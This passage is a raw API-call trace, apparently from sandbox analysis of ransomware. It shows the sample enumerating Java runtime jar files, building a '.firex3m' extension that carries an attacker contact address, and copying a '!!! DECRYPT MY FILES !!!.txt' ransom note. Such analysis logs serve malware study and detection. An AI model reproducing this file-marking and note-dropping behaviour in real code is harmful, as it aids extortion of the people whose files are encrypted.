ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8b9204e, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5280 [0118.442] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0118.443] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.445] GetProcessHeap () returned 0x630000 [0118.445] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690478, Size=0x78) returned 0x690378 [0118.445] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0118.445] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", len=0x37 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 1 [0118.445] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 0x37 [0118.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.446] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.446] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.446] GetProcessHeap () returned 0x630000 [0118.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690378, Size=0x7c) returned 0x727948 [0118.446] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0118.446] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 1 [0118.446] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 0x34 [0118.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.446] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.446] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.447] GetProcessHeap () returned 0x630000 [0118.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x727948, Size=0x80) returned 0x726fb8 [0118.447] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0118.447] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", len=0x36 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 1 [0118.447] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 0x36 [0118.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.447] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.447] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.447] GetProcessHeap () returned 0x630000 [0118.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x726fb8, Size=0x84) returned 0x6a4fb8 [0118.447] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0118.447] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 1 [0118.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 0x34 [0118.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.448] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.448] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.448] GetProcessHeap () returned 0x630000 [0118.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4fb8, Size=0x88) returned 0x6a4bc8 [0118.448] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0118.448] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", len=0x39 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 1 [0118.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 0x39 [0118.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.448] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.448] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.449] GetProcessHeap () returned 0x630000 [0118.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a4bc8, Size=0x8c) returned 0x7061a0 [0118.449] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0118.449] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", len=0x35 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 1 [0118.449] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 0x35 [0118.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.449] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.449] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.449] GetProcessHeap () returned 0x630000 [0118.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7061a0, Size=0x90) returned 0x706530 [0118.449] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0118.450] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", len=0x36 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 1 [0118.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 0x36 [0118.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.450] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.450] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.450] GetProcessHeap () returned 0x630000 [0118.450] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706530, Size=0x94) returned 0x673e80 [0118.450] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0118.450] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 1 [0118.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 0x34 [0118.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.451] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.451] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.451] GetProcessHeap () returned 0x630000 [0118.451] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x673e80, Size=0x98) returned 0x673f20 [0118.451] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", len=0x3e | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 1 [0118.451] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", cchLength=0x3e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 0x3e [0118.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.452] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.452] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.452] GetProcessHeap () returned 0x630000 [0118.452] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x673f20, Size=0x9c) returned 0x6fbb920 [0118.452] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 1 [0118.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 0x38 [0118.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.452] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.452] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.453] GetProcessHeap () returned 0x630000 [0118.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fbb920, Size=0xa0) returned 0x6fbbf08 [0118.453] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0118.453] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 1 [0118.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 0x38 [0118.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.453] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.453] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.453] GetProcessHeap () returned 0x630000 [0118.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fbbf08, Size=0xa4) returned 0x64f898 [0118.453] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0118.453] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", len=0x34 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 1 [0118.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 0x34 [0118.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.454] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.454] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.454] GetProcessHeap () returned 0x630000 [0118.454] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64f898, 